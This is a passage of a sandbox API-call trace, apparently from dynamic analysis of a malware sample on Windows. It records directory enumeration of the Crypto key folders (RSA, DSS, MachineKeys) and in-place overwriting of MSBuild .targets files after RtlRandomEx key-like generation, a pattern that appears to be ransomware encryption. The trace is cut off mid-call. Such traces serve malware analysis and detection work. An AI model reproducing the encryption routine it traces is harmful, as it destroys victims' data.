[0051.190] wcscmp (_String1="..", _String2="..") returned 0 [0051.190] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.190] wcscmp (_String1="1033", _String2=".") returned 1 [0051.190] wcscmp (_String1="1033", _String2="..") returned 1 [0051.190] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43d930 [0051.190] wcscpy (in: _Dest=0x43d930, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0051.190] wcscat (in: _Dest=0x43d930, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0051.190] wcscat (in: _Dest=0x43d930, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0055.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43d930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0 [0055.601] FindNextFileW (in: hFindFile=0x440260, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0055.601] FindClose (in: hFindFile=0x440260 | out: hFindFile=0x440260) returned 1 [0055.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430d40) returned 1 [0055.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4240a8) returned 1 [0055.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449e20) returned 1 Thread: id = 468 os_tid = 0xe40 [0049.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413ee8 [0049.226] wcscpy (in: _Dest=0x413ee8, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0049.226] wcscat (in: _Dest=0x413ee8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\" [0049.226] wcscat (in: _Dest=0x413ee8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*" [0049.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f2c8 [0049.226] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ce8 [0049.226] wcscmp (_String1=".", _String2=".") returned 0 [0049.226] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.226] wcscmp (_String1="..", _String2=".") returned 1 [0049.226] wcscmp (_String1="..", _String2="..") returned 0 [0049.226] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0049.226] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0049.226] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0049.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d528 [0049.226] wcscpy (in: _Dest=0x48d528, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0049.226] wcscat (in: _Dest=0x48d528, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\" [0049.226] wcscat (in: _Dest=0x48d528, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" [0049.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0049.544] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x42f2c8 | out: lpFindFileData=0x42f2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0049.544] FindClose (in: hFindFile=0x409ce8 | out: hFindFile=0x409ce8) returned 1 [0049.544] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f2c8) returned 1 [0049.545] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413ee8) returned 1 [0049.545] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444af0) returned 1 Thread: id = 469 os_tid = 0xe44 [0049.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414830 [0049.231] wcscpy (in: _Dest=0x414830, _Source="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys" [0049.231] wcscat (in: _Dest=0x414830, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\" [0049.232] wcscat (in: _Dest=0x414830, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*" [0049.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0049.232] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c68 [0049.232] wcscmp (_String1=".", _String2=".") returned 0 [0049.232] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.232] wcscmp (_String1="..", _String2=".") returned 1 [0049.232] wcscmp (_String1="..", _String2="..") returned 0 [0049.232] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.232] FindClose (in: hFindFile=0x409c68 | out: hFindFile=0x409c68) returned 1 [0049.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0049.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414830) returned 1 [0049.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4141a8) returned 1 Thread: id = 470 os_tid = 0xe48 [0049.238] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4141a8 [0049.238] wcscpy (in: _Dest=0x4141a8, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0049.238] wcscat (in: _Dest=0x4141a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0049.238] wcscat (in: _Dest=0x4141a8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*" [0049.238] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e928 [0049.238] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409c68 [0049.239] wcscmp (_String1=".", _String2=".") returned 0 [0049.239] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.239] wcscmp (_String1="..", _String2=".") returned 1 [0049.239] wcscmp (_String1="..", _String2="..") returned 0 [0049.239] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0049.239] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0049.239] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0049.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d590 [0049.239] wcscpy (in: _Dest=0x48d590, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0049.239] wcscat (in: _Dest=0x48d590, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0049.239] wcscat (in: _Dest=0x48d590, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" [0049.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0049.546] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0049.546] wcscmp (_String1="S-1-5-18", _String2=".") returned 1 [0049.546] wcscmp (_String1="S-1-5-18", _String2="..") returned 1 [0049.546] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445e48 [0049.546] wcscpy (in: _Dest=0x445e48, _Source="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA" [0049.546] wcscat (in: _Dest=0x445e48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\" [0049.546] wcscat (in: _Dest=0x445e48, _Source="S-1-5-18" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0049.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc [0049.548] FindNextFileW (in: hFindFile=0x409c68, lpFindFileData=0x42e928 | out: lpFindFileData=0x42e928*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0049.548] FindClose (in: hFindFile=0x409c68 | out: hFindFile=0x409c68) returned 1 [0049.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e928) returned 1 [0049.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4141a8) returned 1 [0049.548] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e10) returned 1 Thread: id = 471 os_tid = 0xe4c [0049.240] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets")) returned 0x20 [0049.812] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets", dwFileAttributes=0x20) returned 1 [0060.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f8 [0060.628] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0xb5bfda0 | out: lpFileSize=0xb5bfda0*=4726) returned 1 [0060.628] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1272, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.635] ReadFile (in: hFile=0x1f8, lpBuffer=0xb5bfd24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb5bfd20, lpOverlapped=0x0 | out: lpBuffer=0xb5bfd24*, lpNumberOfBytesRead=0xb5bfd20*=0x4, lpOverlapped=0x0) returned 1 [0060.636] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4360c0 [0060.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436138 [0060.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436160 [0060.636] NtQuerySystemTime (in: CurrentTime=0xb5bfd00 | out: CurrentTime=0xb5bfd00*=132174898246140000) returned 0x0 [0060.636] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x57d1f029 [0060.636] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x570ff379 [0060.636] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x7cfe5edc [0060.636] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x5b9c9d58 [0060.636] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x25ac0f4f [0060.636] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x4e8afe37 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x1c532c1c [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x47e74479 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x303029fc [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0xfad8461 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x9b2d9e9 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x1bf3ca60 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x2f128033 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x48040add [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x5f12d54b [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x2bb39316 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x59d44e32 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x19015235 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x2645e10c [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x2fe13070 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x3a57bcc7 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x3aabb81d [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x21b357c4 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x7cf52765 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x6a773d68 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x7437b4d [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x7530d5b0 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x755136a8 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x598b54 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x36c33a98 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x39dae65 [0060.637] RtlRandomEx (in: Seed=0xb5bfd0c | out: Seed=0xb5bfd0c) returned 0x5e887eca [0060.650] ReadFile (in: hFile=0x1f8, lpBuffer=0x199be128, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0xb5bfcfc, lpOverlapped=0x0 | out: lpBuffer=0x199be128*, lpNumberOfBytesRead=0xb5bfcfc*=0x1276, lpOverlapped=0x0) returned 1 [0060.651] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.651] WriteFile (in: hFile=0x1f8, lpBuffer=0x199ca930*, nNumberOfBytesToWrite=0x1276, lpNumberOfBytesWritten=0xb5bfcf8, lpOverlapped=0x0 | out: lpBuffer=0x199ca930*, lpNumberOfBytesWritten=0xb5bfcf8*=0x1276, lpOverlapped=0x0) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441708 [0066.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441730 [0066.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441730) returned 1 [0066.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199ca930) returned 1 [0066.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199be128) returned 1 [0066.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a7e0) returned 1 [0066.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c828) returned 1 [0066.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40aad8 [0066.357] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.358] WriteFile (hFile=0x1f8, lpBuffer=0x5efe3a8, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0xb5bfd60, lpOverlapped=0x0) Thread: id = 472 os_tid = 0xe50 [0049.240] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets")) returned 0x20 [0049.813] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 1 [0049.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc [0049.813] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xb4ff83c | out: lpFileSize=0xb4ff83c*=5182) returned 1 [0049.813] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x143a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.813] ReadFile (in: hFile=0x1fc, lpBuffer=0xb4ff7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb4ff7bc, lpOverlapped=0x0 | out: lpBuffer=0xb4ff7c0*, lpNumberOfBytesRead=0xb4ff7bc*=0x4, lpOverlapped=0x0) returned 1 [0049.815] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.815] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed818 [0049.815] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0049.815] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed8e0 [0049.815] NtQuerySystemTime (in: CurrentTime=0xb4ff79c | out: CurrentTime=0xb4ff79c*=132174898138032000) returned 0x0 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x714b81ca [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x22eafee0 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x78ab246e [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x76585652 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x49fea2be [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x652afe8d [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x59e5ce40 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0xefdc197 [0049.815] RtlRandomEx (in: 